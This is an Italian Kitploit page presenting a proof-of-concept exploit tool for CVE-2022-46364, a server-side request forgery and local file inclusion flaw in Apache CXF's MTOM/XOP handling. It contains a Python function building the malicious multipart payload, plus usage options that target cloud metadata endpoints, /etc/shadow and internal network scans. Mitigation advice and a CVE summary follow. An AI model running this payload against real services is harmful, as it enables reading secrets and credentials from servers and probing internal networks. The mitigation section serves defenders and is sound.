CVE-2022-46364-Proof-of-the-concept — Questa vulnerabilità consente a un attaccante di eseguire attacchi SSRF (Server-Side Request Forgery) sui webservice Apache CXF che accettano richieste MTOM/XOP. Il problema risiede nel modo in cui viene analizzato l'attributo href di xop:Include, consentendo al server di richiedere URL arbitrari. | Kitploit

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // No protocol validation!
    return new DataHandler(url.openStream());
}

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Argomento	Descrizione	Esempio
`-t, --target`	Obbligatorio. URL di base del servizio Apache CXF target	`http://10.10.10.50:8080`
`-e, --endpoint`	Opzionale. Percorso dell'endpoint SOAP	`/services/UserManagement`
`-u, --url`	URL HTTP/HTTPS da recuperare tramite SSRF	`http://169.254.169.254/latest/user-data`
`-f, --file`	Percorso del file locale da leggere tramite LFI	`/etc/shadow`, `C:\ProgramData\secret.txt`


---

### Dettagli di Implementazione Principali

#### 1. Costruzione del Payload MTOM

```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

<!-- For Maven projects -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>

Disabilitare MTOM completamente (se non necessario):

<jaxws:endpoint ...>
    <jaxws:properties>
        <entry key="mtom-enabled" value="false"/>
    </jaxws:properties>
</jaxws:endpoint>

Controlli a livello di rete:
- Limitare le connessioni in uscita dal server applicativo CXF
- Utilizzare firewall per impedire l'accesso agli intervalli IP interni dal livello applicativo
- Implementare il filtraggio del traffico in uscita (egress filtering)
Regole del Web Application Firewall (WAF):
- Bloccare le richieste contenenti xop:Include con href che punta a file:// o a indirizzi IP interni

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

ID CVE	CVE-2022-46364
ID GHSA	GHSA-x3x3-qwjq-8gj4
Tipo di vulnerabilità	Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI)
Software interessato	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Gravità	Critico
Punteggio CVSS	9.8 (Critico)
Vettore di attacco	Rete
Autenticazione	Non richiesta
Versioni corrette	Apache CXF 3.5.5+, 3.4.10+

CVE-2022-46364-Proof-of-the-concept

Più Popolari

Informazioni

🔬 DETTAGLI DELLA VULNERABILITÀ

Il Problema Principale

Perché è Importante

Configurazioni Interessate

🧠 ANALISI TECNICA APPROFONDITA

Contesto del Protocollo: MTOM e XOP

Il Percorso del Codice Vulnerabile

Frammento di Codice (Pattern Vulnerabile)

Perché LFI Funziona

Capacità di Scansione di Rete

🛠️ UTILIZZO DELL'EXPLOIT

Sintassi del Comando

Spiegazione degli Argomenti

📦 INSTALLAZIONE E REQUISITI

Prerequisiti

Passaggi di Installazione

🛡️ MITIGAZIONE

Correzione Ufficiale

Soluzioni Alternative (Se l'Aggiornamento Non È Possibile)

📚 RIFERIMENTI E CREDITI

Ricercatori Originali

Avvisi Ufficiali

Risorse Correlate

Riconoscimenti

📄 LICENZA